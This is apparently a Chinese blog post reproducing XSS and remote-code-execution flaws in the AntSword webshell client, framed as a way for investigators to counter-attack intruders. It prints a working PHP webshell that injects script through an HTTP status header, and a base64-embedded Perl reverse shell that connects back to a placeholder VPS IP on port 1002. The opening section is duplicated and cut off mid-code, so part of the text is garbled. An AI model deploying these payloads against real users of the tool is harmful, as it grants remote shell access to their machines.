### 前言 在中国蚁剑的GitHub项目主页,发现有人提交了一个问题,中国蚁剑存在XSS和RCE漏洞  中国蚁剑的GitHub项目问题页面 看到这里我决定搭建环境,本地复现一下 ### 复现 1 环境准备 由于我比较懒,我就使用集成环境Xmapp了,它刚好有Apache和PHP环境。  Xmapp 那么这台安装了Xmapp的服务器就当做被攻击者黑掉的对象 既然被黑了,那肯定上了webshell。 2 准备webshell 准备两个webshell,一个是验证XSS的webshell,一个是验证RCE的webshell,RCE的webshell还可以用来直接反弹攻击者的shell XSS的WebShell如下: ``` <?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>'); ``` 我们把它放到Xmapp的DashBoard目录下,然后添加到中国蚁剑运行即可看到效果  Xmapp  中国蚁剑  XSS 现在我们来反弹攻击者的shell ``` require('child_process').exec('perl -e \'use Socket;$i="vpsip";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{...
### 前言 在中国蚁剑的GitHub项目主页,发现有人提交了一个问题,中国蚁剑存在XSS和RCE漏洞  中国蚁剑的GitHub项目问题页面 看到这里我决定搭建环境,本地复现一下 ### 复现 1 环境准备 由于我比较懒,我就使用集成环境Xmapp了,它刚好有Apache和PHP环境。  Xmapp 那么这台安装了Xmapp的服务器就当做被攻击者黑掉的对象 既然被黑了,那肯定上了webshell。 2 准备webshell 准备两个webshell,一个是验证XSS的webshell,一个是验证RCE的webshell,RCE的webshell还可以用来直接反弹攻击者的shell XSS的WebShell如下: ``` <?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>'); ``` 我们把它放到Xmapp的DashBoard目录下,然后添加到中国蚁剑运行即可看到效果  Xmapp  中国蚁剑  XSS 现在我们来反弹攻击者的shell ``` require('child_process').exec('perl -e \'use Socket;$i="vpsip";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); }); ``` 将上述代码中的vpsip改为取证者的vpsip(公网IP),进行BASE64编码,并与下面的代码进行合并 ``` <?php header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`base64代码`,`base64`).toString())'>"); ?> ``` 完成以后,依然存放到Xmapp的DashBoard目录下,然后在vps上面进行监听1002端口(随意端口都行)  Xmapp  监听端口 接着我们模拟攻击者使用中国蚁剑连接webshell  中国蚁剑 中国蚁剑马上报错  报错 但是成功反弹攻击者shell  反弹攻击者shell ### 成因 根据问题发现者的描述,在于中国蚁剑源码中如下文件的206行 ~/source/modules/filemanage/index.js  ### 已修复 目前中国蚁剑已修复,但对于很多攻击者来说,第一时间若没有及时更新,则执法部门即可利用该漏洞进行调查取证、攻击溯源,而该漏洞对于打击网络犯罪必将提供很大帮助。